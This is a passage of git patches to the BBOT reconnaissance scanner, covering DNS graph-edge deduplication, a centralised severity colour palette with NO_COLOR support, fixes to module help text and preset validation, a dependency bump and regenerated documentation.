a genuinely new parent->child edge apart from the same - # host being re-processed (children_emitted drops the parent, so it can't). only - # in-scope edges are ever re-emitted for the graph, so only those are tracked. - edge_hash = hash(f"{event.host}:{module}:{child_host}") # if we haven't emitted this one before if child_hash not in self.children_emitted: + child_in_scope = self.preset.in_scope(child_host) # and it's either in-scope or inside our dns search distance if child_in_scope or child_event.scope_distance <= self._dns_search_distance: self.children_emitted.add(child_hash) if child_in_scope: - self.child_edges_emitted.add(edge_hash) + # remember in-scope children (so cross-parent dups are recognized without + # a second scope lookup) and record this parent->child edge + self.in_scope_children.add(child_hash) + self.child_edges_emitted.add(hash(f"{event.host}:{module}:{child_host}")) # if it's a hostname and it's only one hop away, mark it as affiliate if child_event.type == "DNS_NAME" and child_event.scope_distance == 1: child_event.add_tag("affiliate") @@ -236,12 +236,19 @@ async def emit_dns_children(self, event): # the child entity was already emitted, but a genuinely new in-scope parent->child # edge is worth preserving for graph outputs (neo4j/json) so shared in-scope # infrastructure keeps every edge. out-of-scope dups and same-parent re-processing - # fall through here and stay collapsed. - elif child_in_scope and edge_hash not in self.child_edges_emitted: - self.child_edges_emitted.add(edge_hash) - child_event._graph_important = True - self.debug(f"Queueing graph-important DNS child edge for {event}: {child_event}") - await self.emit_event(child_event) + # stay collapsed (out-of-scope children never enter in_scope_children). + elif child_hash in self.in_scope_children: + # parent-aware key: tells a genuinely new parent->child edge apart from the same + # host being re-processed (children_emitted drops the parent, so it can't) + edge_hash = hash(f"{event.host}:{module}:{child_host}") + if edge_hash not in self.child_edges_emitted: + self.child_edges_emitted.add(edge_hash) + # _graph_important must imply the event reaches output; an omitted type is + # dropped there regardless, so don't flag it (keeps _graph_important => not _omit) + if child_event.type not in self.scan.omitted_event_types: + child_event._graph_important = True + self.debug(f"Queueing graph-important DNS child edge for {event}: {child_event}") + await self.emit_event(child_event) async def emit_dns_children_raw(self, event, dns_tags): for rdtype, answers in event.raw_dns_records.items(): diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py index 9f42c26263..002b1fb303 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py @@ -220,6 +220,55 @@ def parents_of(child, module): ) +class TestDNSResolveOmittedSharedInfraNotGraphImportant(ModuleTestBase): + """ + Cross-parent edge re-emission must keep the rule that a graph-important event is never + omitted (graph outputs force these in; an omitted child is dropped at output regardless). + + Same in-scope shared infra as TestDNSResolveInScopeSharedInfraGraphFidelity, but DNS_NAME is + omitted. dnsresolve must not flag the re-emitted cross-parent edges _graph_important, otherwise + they become the omit + graph-important combination the graph machinery assumes is unreachable. + """ + + module_name = "dnsresolve" + modules_overrides = ["dnsresolve", "json"] + targets = ["domain-a.test", "domain-b.test", "domain-c.test"] + config_overrides = {"dns": {"minimal": False}, "omit_event_types": ["DNS_NAME"]} + + async def setup_after_prep(self, module_test): + shared_ns = ["ns1.domain-a.test.", "ns2.domain-a.test."] + shared_soa = ["ns1.domain-a.test. admin.domain-a.test. 1 7200 3600 1209600 3600"] + await module_test.mock_dns( + { + "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa}, + "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa}, + "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa}, + "ns1.domain-a.test": {"A": ["192.168.99.1"]}, + "ns2.domain-a.test": {"A": ["192.168.99.2"]}, + } + ) + + # snapshot (type, graph_important) for every event dnsresolve emits, at emit time + self.emitted = [] + dnsresolve = module_test.scan.modules["dnsresolve"] + original_emit = dnsresolve.emit_event + + async def recording_emit(*args, **kwargs): + if args and hasattr(args[0], "_graph_important"): + self.emitted.append((args[0].type, args[0]._graph_important)) + return await original_emit(*args, **kwargs) + + module_test.monkeypatch.setattr(dnsresolve, "emit_event", recording_emit) + + def check(self, module_test, events): + omitted = set(module_test.scan.omitted_event_types) + violations = [t for t, graph_important in self.emitted if graph_important and t in omitted] + assert not violations, ( + f"dnsresolve emitted graph-important events of an omitted type {violations} " + f"(violates the _graph_important => not _omit rule)" + ) + + class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): """Test that PTR-derived hostnames ARE promoted to in-scope when filter_ptrs is disabled.""" From 6c0061a24f2349f59a252b3b3b03bea8a17c17bd Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 31 May 2026 23:55:23 +0000 Subject: [PATCH 719/912] Update uvicorn requirement from <0.48,>=0.32 to >=0.32,<0.49 Updates the requirements on [uvicorn](https://github.com/Kludex/uvicorn) to permit the latest version. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.32.0...0.48.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.48.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 9b9c5538d4..6f31d3b158 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -75,7 +75,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.48", + "uvicorn>=0.32,<0.49", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", From ac1d28883805ed50dd07c5529580285509047ebe Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 1 Jun 2026 08:39:27 -0400 Subject: [PATCH 720/912] Centralize finding colors and add NO_COLOR support Move the finding color palette (ANSI, emoji, Teams card styles) onto the FINDING event class as the single source of truth, standardized on the blue/yellow/orange/red/purple convention. stdout, webhook, and teams now consume it instead of each defining their own. Honor the NO_COLOR env var in colorize() and stdout, and add a --no-color CLI switch. --- bbot/core/event/base.py | 40 +++++++++++++++---- bbot/logger.py | 3 ++ bbot/modules/output/stdout.py | 35 +++++----------- bbot/modules/output/teams.py | 12 +----- bbot/modules/templates/webhook.py | 4 +- bbot/scanner/preset/args.py | 4 ++ bbot/test/test_step_1/test_cli.py | 19 +++++++++ bbot/test/test_step_1/test_events.py | 22 ++++++++-- .../module_tests/test_module_stdout.py | 39 ++++++++++++++++++ 9 files changed, 131 insertions(+), 47 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 2865411dbd..1f47c0d65a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1853,15 +1853,32 @@ def format(self, event_type): parts.append(f"{n} {sev}") return f"{event_type}: {self.count} ({', '.join(parts)})" - severity_colors = { - "CRITICAL": "🟪", - "HIGH": "🟥", - "MEDIUM": "🟧", - "LOW": "🟨", - "INFO": "⬜", + # Standard finding color palette. Single source of truth for every output module. + # Severity selects the hue (blue, yellow, orange, red, purple); confidence dims it. + severity_colors_rgb = { + "INFO": (113, 161, 255), + "LOW": (255, 215, 0), + "MEDIUM": (255, 135, 0), + "HIGH": (255, 0, 0), + "CRITICAL": (207, 0, 255), + } + confidence_brightness = { + "CONFIRMED": 1.00, + "HIGH": 0.88, + "MEDIUM": 0.77, + "LOW": 0.66, + "UNKNOWN": 0.55, } - confidence_colors = { + # emoji rendering of the same palette, for chat-based output (Slack, Discord, Teams) + severity_colors_emoji = { + "INFO": "🟦", + "LOW": "🟨", + "MEDIUM": "🟧", + "HIGH": "🟥", + "CRITICAL": "🟪", + } + confidence_colors_emoji = { "CONFIRMED": "🟣", "HIGH": "🔴", "MEDIUM": "🟠", @@ -1869,6 +1886,15 @@ def format(self, event_type): "UNKNOWN": "⚪", } + # Adaptive Card style names for Microsoft Teams output + severity_card_colors = { + "CRITICAL": "Attention", + "HIGH": "Attention", + "MEDIUM": "Warning", + "LOW": "Good", + "INFO": "Accent", + } + def sanitize_data(self, data): data = super().sanitize_data(data) self.add_tag(f"severity-{data['severity'].lower()}") diff --git a/bbot/logger.py b/bbot/logger.py index 5073d7379d..519521a5dd 100644 --- a/bbot/logger.py +++ b/bbot/logger.py @@ -34,6 +34,9 @@ def colorize(s, level="INFO"): + # honor the NO_COLOR convention (https://no-color.org) + if os.environ.get("NO_COLOR", ""): + return s seq = color_mapping.get(level, 15) # default white colored = f"{color_prefix}{seq}m{s}{color_suffix}" return colored diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 02d3c12863..62c6b74dfe 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -1,3 +1,4 @@ +import os import sys import json @@ -15,24 +16,6 @@ class Stdout(BaseOutputModule): "in_scope_only": "Whether to only show in-scope events", "accept_dupes": "Whether to show duplicate events, default True", } - # base RGB hue per severity (matches the 🟦🟨🟧🟥🟪 convention from FINDING.severity_colors) - # all hues normalized so the brightest channel is 255 — gives a uniform brightness range per row - finding_severity_rgb = { - "INFO": (113, 161, 255), # blue - "LOW": (255, 215, 0), # yellow - "MEDIUM": (255, 135, 0), # orange - "HIGH": (255, 0, 0), # red - "CRITICAL": (207, 0, 255), # purple - } - # brightness multiplier per confidence — CONFIRMED also adds bold - # tuned so even UNKNOWN stays legible on dark terminals (brightest channel ~115) - finding_confidence_brightness = { - "CONFIRMED": 1.00, - "HIGH": 0.88, - "MEDIUM": 0.77, - "LOW": 0.66, - "UNKNOWN": 0.55, - } format_choices = ["text", "json"] async def setup(self): @@ -46,6 +29,8 @@ async def setup(self): self.show_event_fields = [str(s) for s in self.config.get("event_fields", [])] self.in_scope_only = self.config.get("in_scope_only", False) self.accept_dupes = self.config.get("accept_dupes", False) + # honor the NO_COLOR convention (https://no-color.org) and skip color when not writing to a terminal + self.use_color = sys.stdout.isatty() and not os.environ.get("NO_COLOR", "") return True async def filter_event(self, event): @@ -73,16 +58,16 @@ async def handle_text(self, event, event_json): event_str = self.human_event_str(event) # color findings: severity picks the hue, confidence dims the brightness - if event.type == "FINDING" and isinstance(event.data, dict) and sys.stdout.isatty(): - event_str = self._colorize_finding(event_str, event.data) + if event.type == "FINDING" and isinstance(event.data, dict) and self.use_color: + event_str = self._colorize_finding(event_str, event) print(event_str) - def _colorize_finding(self, event_str, data): - severity = str(data.get("severity", "INFO")).upper() - confidence = str(data.get("confidence", "UNKNOWN")).upper() - r, g, b = self.finding_severity_rgb.get(severity, self.finding_severity_rgb["INFO"]) - mult = self.finding_confidence_brightness.get(confidence, 0.65) + def _colorize_finding(self, event_str, event): + severity = str(event.data.get("severity", "INFO")).upper() + confidence = str(event.data.get("confidence", "UNKNOWN")).upper() + r, g, b = event.severity_colors_rgb.get(severity, event.severity_colors_rgb["INFO"]) + mult = event.confidence_brightness.get(confidence, event.confidence_brightness["UNKNOWN"]) r, g, b = int(r * mult), int(g * mult), int(b * mult) bold = "1;" if confidence == "CONFIRMED" else "" return f"\033[{bold}38;2;{r};{g};{b}m{event_str}\033[0m" diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index 2ab461d5a6..1ecd25f6d4 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -45,18 +45,10 @@ def format_message_other(self, event): return items def get_severity_color(self, event): - color = "Accent" if event.type == "FINDING": severity = event.data.get("severity", "INFO") - if severity == "CRITICAL": - color = "Attention" - elif severity == "HIGH": - color = "Attention" - elif severity == "MEDIUM": - color = "Warning" - elif severity == "LOW": - color = "Good" - return color + return event.severity_card_colors.get(severity, "Accent") + return "Accent" def format_message(self, event): adaptive_card = { diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 9b71272be9..162fdacdbc 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -75,8 +75,8 @@ def get_colors(self, event): if event.type == "FINDING": severity = event.data.get("severity", "INFO") confidence = event.data.get("confidence", "UNKNOWN") - severity_color = event.severity_colors.get(severity, "⬜") - confidence_color = event.confidence_colors.get(confidence, "⚪") + severity_color = event.severity_colors_emoji.get(severity, "⬜") + confidence_color = event.confidence_colors_emoji.get(confidence, "⚪") return f"{event.type} (Severity: {severity} / Confidence: {confidence})", severity_color, confidence_color else: return event.type, "🟦", "" diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index f99305e5d8..4ba0e9b840 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -1,3 +1,4 @@ +import os import re import logging import argparse @@ -150,6 +151,8 @@ def preset_from_args(self): ) if self.parsed.event_types: args_preset.core.merge_custom({"modules": {"stdout": {"event_types": self.parsed.event_types}}}) + if self.parsed.no_color: + os.environ["NO_COLOR"] = "1" if self.parsed.exclude_cdn: args_preset.explicit_scan_modules.add("portfilter") @@ -348,6 +351,7 @@ def create_parser(self, *args, **kwargs): output.add_argument("-lo", "--list-output-modules", action="store_true", help="List available output modules") output.add_argument("--json", "-j", action="store_true", help="Output scan data in JSON format") output.add_argument("--brief", "-br", action="store_true", help="Output only the data itself") + output.add_argument("--no-color", action="store_true", help="Disable colored terminal output") output.add_argument("--event-types", nargs="+", default=[], help="Choose which event types to display") output.add_argument( "--exclude-cdn", diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index e1387b1b92..4e84ba0742 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -775,3 +775,22 @@ def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): shutil.rmtree(scan_dir, ignore_errors=True) shutil.rmtree(output_file, ignore_errors=True) output_dir_preset_file.unlink() + + +@pytest.mark.asyncio +async def test_cli_no_color(monkeypatch): + from bbot.logger import colorize + from bbot.scanner import Preset + + # colorize honors the NO_COLOR convention + monkeypatch.delenv("NO_COLOR", raising=False) + assert colorize("test", "INFO") != "test" + monkeypatch.setenv("NO_COLOR", "1") + assert colorize("test", "INFO") == "test" + + # the --no-color CLI switch sets NO_COLOR (restored by monkeypatch at teardown) + monkeypatch.delenv("NO_COLOR", raising=False) + monkeypatch.setattr("sys.argv", ["bbot", "-t", "evilcorp.com", "--no-color"]) + preset = Preset() + preset.parse_args() + assert os.environ.get("NO_COLOR") == "1" diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 9048bc3208..e455af0eaf 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -397,11 +397,27 @@ async def test_events(events, helpers): dummy=True, ) - # test confidence colors and formatting + # test the standardized finding color palette from bbot.core.event.base import FINDING - expected_colors = {"CONFIRMED": "🟣", "HIGH": "🔴", "MEDIUM": "🟠", "LOW": "🟡", "UNKNOWN": "⚪"} - assert FINDING.confidence_colors == expected_colors + assert FINDING.confidence_colors_emoji == { + "CONFIRMED": "🟣", + "HIGH": "🔴", + "MEDIUM": "🟠", + "LOW": "🟡", + "UNKNOWN": "⚪", + } + assert FINDING.severity_colors_emoji == { + "INFO": "🟦", + "LOW": "🟨", + "MEDIUM": "🟧", + "HIGH": "🟥", + "CRITICAL": "🟪", + } + assert FINDING.severity_colors_rgb["INFO"] == (113, 161, 255) + assert FINDING.severity_colors_rgb["CRITICAL"] == (207, 0, 255) + assert set(FINDING.confidence_brightness) == {"CONFIRMED", "HIGH", "MEDIUM", "LOW", "UNKNOWN"} + assert FINDING.severity_card_colors["CRITICAL"] == "Attention" # test CONFIRMED gets bold formatting confirmed_finding = scan.make_event( diff --git a/bbot/test/test_step_2/module_tests/test_module_stdout.py b/bbot/test/test_step_2/module_tests/test_module_stdout.py index a77a2a3f89..679718192c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_stdout.py +++ b/bbot/test/test_step_2/module_tests/test_module_stdout.py @@ -85,6 +85,45 @@ def check(self, module_test, events): assert out.count("[IP_ADDRESS] \t127.0.0.2") == 2 +class TestStdoutFindingColor(TestStdout): + module_name = "stdout" + + def check(self, module_test, events): + module = module_test.module + # coloring is disabled when stdout isn't a terminal (as in captured test output) + assert module.use_color is False + + # CRITICAL is purple (207,0,255); CONFIRMED is full brightness + bold + critical = module_test.scan.make_event( + { + "host": "evilcorp.com", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + "description": "asdf", + "name": "Test", + }, + "FINDING", + dummy=True, + ) + colored = module._colorize_finding("test", critical) + assert colored == "\033[1;38;2;207;0;255mtest\033[0m" + + # INFO is blue (113,161,255) dimmed to 0.55 brightness, no bold + info = module_test.scan.make_event( + { + "host": "evilcorp.com", + "severity": "INFO", + "confidence": "UNKNOWN", + "description": "asdf", + "name": "Test", + }, + "FINDING", + dummy=True, + ) + colored_info = module._colorize_finding("test", info) + assert colored_info == "\033[38;2;62;88;140mtest\033[0m" + + class TestStdoutNoDupes(TestStdoutDupes): config_overrides = { "dns": {"minimal": False}, From e759ac0c2ba258fbdd1c3ddb6734e27755b3015a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 1 Jun 2026 09:51:07 -0400 Subject: [PATCH 721/912] Honor NO_COLOR in the banner and easter egg --- bbot/cli.py | 21 ++++++++++++++------- bbot/scanner/scanner.py | 7 ++++++- 2 files changed, 20 insertions(+), 8 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 08cad27fcf..f27bd48e7c 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 import io +import os import sys import logging import multiprocessing @@ -11,16 +12,22 @@ if multiprocessing.current_process().name == "MainProcess": + # the --no-color flag is parsed later, so honor it (and the NO_COLOR env) before any color is printed + no_color = "--no-color" in sys.argv or bool(os.environ.get("NO_COLOR", "")) + if no_color: + os.environ["NO_COLOR"] = "1" silent = "-s" in sys.argv or "--silent" in sys.argv if not silent: - ascii_art = rf"""  ______  _____ ____ _______ - | ___ \| __ \ / __ \__ __| - | |___) | |__) | | | | | | - | ___ <| __ <| | | | | | - | |___) | |__) | |__| | | | - |______/|_____/ \____/ |_| - BIGHUGE BLS OSINT TOOL {__version__} + o = "" if no_color else "\033[1;38;5;208m" + e = "" if no_color else "\033[0m" + ascii_art = rf""" {o} ______ {e} _____ ____ _______ + {o}| ___ \{e}| __ \ / __ \__ __| + {o}| |___) {e}| |__) | | | | | | + {o}| ___ <{e}| __ <| | | | | | + {o}| |___) {e}| |__) | |__| | | | + {o}|______/{e}|_____/ \____/ |_| + {o}BIGHUGE{e} BLS OSINT TOOL {__version__} www.blacklanternsecurity.com/bbot """ diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index e3b4ad55c4..4528d695d2 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -183,14 +183,19 @@ def __init__( # :) if self.name == "golden_gus": + import os from base64 import b64decode as _d _a = _d( "ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8=" ).decode() _m = _d("R3VzIGhhcyBibGVzc2VkIHlvdXIgc2Nhbi4=").decode() + no_color = bool(os.environ.get("NO_COLOR", "")) + gold = "" if no_color else "\033[1;38;5;220m" + green = "" if no_color else "\033[1;38;5;118m" + reset = "" if no_color else "\033[0m" log_to_stderr( - f"\033[1;38;5;220m{_a}\033[0m\n \033[1;38;5;118m{_m}\033[0m", + f"{gold}{_a}{reset}\n {green}{_m}{reset}", level="HUGESUCCESS", logname=False, ) From ed845de28b44f9a1eae4d786022fa8eb95b6e529 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 12:16:56 -0400 Subject: [PATCH 722/912] Fix --module-help to read options from pydantic Config help_text() read the removed self.options/options_desc dicts, so every module showed "No options available". Now reads the module's class Config fields. Also fixes lightfuzz.help_text (a classmethod) crashing on self.config, and adds regression coverage. --- bbot/modules/base.py | 38 +++++++++++++++++++---------- bbot/modules/lightfuzz/lightfuzz.py | 9 +++++-- bbot/test/test_step_1/test_cli.py | 17 +++++++++++++ 3 files changed, 49 insertions(+), 15 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index ba729ccf48..50274cf936 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1781,21 +1781,21 @@ def critical(self, *args, trace=True, **kwargs): self.trace() @classmethod - def help_text(self): + def help_text(cls): """ Returns a string containing help text for the module. This includes the module's description, metadata, events, flags, and available options. """ - # Retrieve the module's metadata, options, events, and flags - meta = getattr(self, "meta", {}) - options = getattr(self, "options", {}) - options_desc = getattr(self, "options_desc", {}) - watched_events = getattr(self, "watched_events", []) - produced_events = getattr(self, "produced_events", []) - flags = getattr(self, "flags", []) + from pydantic_core import PydanticUndefined + + # Retrieve the module's metadata, events, and flags + meta = getattr(cls, "meta", {}) + watched_events = getattr(cls, "watched_events", []) + produced_events = getattr(cls, "produced_events", []) + flags = getattr(cls, "flags", []) help_text = "\n" + "=" * 40 + "\n" - help_text += f"Module Help: {self.__name__}\n" + help_text += f"Module Help: {cls.__name__}\n" help_text += "=" * 40 + "\n\n" for key, value in meta.items(): @@ -1810,12 +1810,24 @@ def help_text(self): help_text += "\nFlags:\n" help_text += " " + ", ".join(flags) + "\n" if flags else " None\n" + # Options come from the module's `class Config`; show only its own declared fields + # (mirrors `--list-module-options`), not inherited universal options. + config_cls = getattr(cls, "Config", None) + own_options = ( + [name for name in getattr(config_cls, "__annotations__", {}) if name in config_cls.model_fields] + if config_cls is not None + else [] + ) help_text += "\nOptions:\n" - if options: - for option, default_value in options.items(): - option_description = options_desc.get(option, "No description available.") + if own_options: + for option in sorted(own_options): + field = config_cls.model_fields[option] + default_value = field.get_default(call_default_factory=True) + if default_value is PydanticUndefined: + default_value = "" + description = field.description or "No description available." help_text += f" - {option}:\n" - help_text += f" Description: {option_description}\n" + help_text += f" Description: {description}\n" help_text += f" Default: {default_value}\n" else: help_text += " No options available." diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 63af8ff275..b0f7012edf 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -238,14 +238,19 @@ async def filter_event(self, event): return True @classmethod - def help_text(self): + def help_text(cls): # Call the base class help_text method base_help_text = super().help_text() import importlib + # classmethod: read defaults from the Config schema (instance config isn't available here) + default_submodules = cls.Config.model_fields["enabled_submodules"].get_default(call_default_factory=True) + if not isinstance(default_submodules, (list, tuple)): + default_submodules = [] + submodules = {} - for submodule_name in self.config.get("enabled_submodules", []): + for submodule_name in default_submodules: try: submodule_module = importlib.import_module(f"bbot.modules.lightfuzz.submodules.{submodule_name}") submodule_class = getattr(submodule_module, submodule_name) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 385306246b..9b56051982 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -461,6 +461,23 @@ async def test_cli_module_help(monkeypatch, capsys): assert "Extracts domains from CSP headers" in captured.out assert "Module Help:" in captured.out + # a module with options must list them (regression: help_text reads the pydantic + # Config, not the removed self.options dict — otherwise every module shows nothing) + monkeypatch.setattr("sys.argv", ["bbot", "--module-help", "robots"]) + assert await cli._main() is None + captured = capsys.readouterr() + assert "include_sitemap" in captured.out + assert "No options available" not in captured.out + + # lightfuzz overrides help_text as a classmethod (regression: it must not read + # instance-only config, which previously crashed with AttributeError) + monkeypatch.setattr("sys.argv", ["bbot", "--module-help", "lightfuzz"]) + assert await cli._main() is None + captured = capsys.readouterr() + assert "Lightfuzz Submodules:" in captured.out + assert "sqli" in captured.out + assert "enabled_submodules" in captured.out + def test_cli_config_validation(monkeypatch, caplog): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) From 5be71e672663a28452bd373d82142a8a15ea2c80 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 13:00:41 -0400 Subject: [PATCH 723/912] Guard validate_preset against non-string module entries A non-string item in modules/output_modules/exclude_modules (e.g. a dangling YAML list item parsed as None) raised an uncaught TypeError instead of a validation error. Skip non-str names; the schema pass already reports the type error. --- bbot/scanner/preset/validate.py | 4 ++++ bbot/test/test_step_1/test_validate_preset.py | 20 +++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 7fdfbf90d8..bcb46a7756 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -242,6 +242,10 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati if not isinstance(value, list): continue for name in value: + # non-string entries (e.g. a dangling YAML item -> None) already get a + # type error from the schema pass; skip so get_closest_match's difflib doesn't choke + if not isinstance(name, str): + continue if name not in known_modules: hint = get_closest_match(name, known_modules, msg="module") errors.append(PresetValidationError(where="preset", path=key, message=hint)) diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 70a8b03e42..89b7372453 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -109,6 +109,26 @@ def test_validate_preset_modules_as_string_no_cascade(): assert "list" in errs[0].message +def test_validate_preset_non_string_module_entry_no_crash(): + """A non-string entry in modules/output_modules/exclude_modules (e.g. a dangling YAML + list item -> None) must be reported as a type error, never raise TypeError.""" + # dangling YAML item -> None + errs = validate_preset({"modules": ["nuclei", None]}) + assert len(errs) == 1 + assert errs[0].path == "modules.1" + assert "string" in errs[0].message and "None" in errs[0].message + + # a typo alongside the bad entry: both surface, still no crash + errs = validate_preset({"modules": ["nucleii", None]}) + assert len(errs) == 2 + assert any('Did you mean "nuclei"' in str(e) for e in errs) + + # int and unhashable (dict) entries must not crash the set membership / difflib calls + errs = validate_preset({"output_modules": [123], "exclude_modules": [{"a": 1}]}) + assert len(errs) == 2 + assert all("string" in e.message for e in errs) + + def test_validate_preset_top_level_typo_suggests_preset_field(): """Typos at the preset root should suggest preset field names, not config paths.""" cases = [ From 25d9f8f92279ef799ceeb5dc1a29379c23920b39 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 13:00:41 -0400 Subject: [PATCH 724/912] Regenerate docs; drop references to removed modules Purges stale references to deleted/renamed modules (digitorus, ffuf, httpx) from the auto-generated tables and hand-written examples, and syncs the config/CLI docs with current state. --- README.md | 10 +- docs/data/chord_graph/entities.json | 848 +++++++++++++--------------- docs/data/chord_graph/rels.json | 695 +++++++++++------------ docs/modules/list_of_modules.md | 28 +- docs/scanning/advanced.md | 53 +- docs/scanning/configuration.md | 141 +++-- docs/scanning/events.md | 69 ++- docs/scanning/index.md | 56 +- docs/scanning/presets.md | 8 +- docs/scanning/presets_list.md | 166 ++++-- 10 files changed, 1066 insertions(+), 1008 deletions(-) diff --git a/README.md b/README.md index efbdb925e0..1f6bbc4e1f 100644 --- a/README.md +++ b/README.md @@ -91,7 +91,7 @@ bbot -t evilcorp.com -p spider description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out @@ -223,6 +223,13 @@ include: - web-screenshots - baddns-heavy +config: + modules: + dnsbrute: + recursive_mutations: true + dnscommonsrv: + recursive_mutations: true + ``` @@ -390,6 +397,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [Setting Up a Dev Environment](https://www.blacklanternsecurity.com/bbot/Stable/dev/dev_environment) - [BBOT Internal Architecture](https://www.blacklanternsecurity.com/bbot/Stable/dev/architecture) - [How to Write a BBOT Module](https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto) + - [Validating & Inspecting Presets](https://www.blacklanternsecurity.com/bbot/Stable/dev/preset_validation) - [Unit Tests](https://www.blacklanternsecurity.com/bbot/Stable/dev/tests) - [Discord Bot Example](https://www.blacklanternsecurity.com/bbot/Stable/dev/discord_bot) - **Code Reference** diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 6d0ca3236f..c1be70a10c 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -27,35 +27,35 @@ "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 139 + 135 ], "produces": [ 18 ] }, { - "id": 45, + "id": 46, "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ 64, - 81, - 82, - 86, - 89, - 125, - 145, - 147 - ], - "produces": [ - 44, - 65, + 79, 80, - 83, 84, 87, - 88, - 124 + 123, + 141, + 143 + ], + "produces": [ + 45, + 65, + 78, + 81, + 82, + 85, + 86, + 122 ] }, { @@ -76,12 +76,12 @@ 33, 34, 35, - 37, + 36, 38, - 42, + 39, 43, - 46, - 51, + 44, + 47, 52, 53, 54, @@ -93,79 +93,74 @@ 61, 63, 69, - 79, + 76, + 81, 83, - 85, - 93, - 97, - 105, - 109, - 111, + 91, + 95, + 104, + 108, + 110, + 113, 114, - 115, - 119, + 118, 120, - 122, - 126, + 124, + 128, + 129, 130, - 131, 132, - 134, + 133, 135, - 136, + 137, + 138, 139, - 141, 142, - 143, 146, - 150, - 151, - 152, - 154 + 147, + 148, + 150 ], "produces": [ 6, 18, 27, - 34, 35, - 37, + 36, 38, 39, - 42, + 40, 43, - 51, + 44, 52, - 54, + 53, 57, 58, 59, 60, 61, 62, - 79, - 93, - 97, - 105, - 109, - 112, + 76, + 91, + 95, + 104, + 108, + 111, + 113, 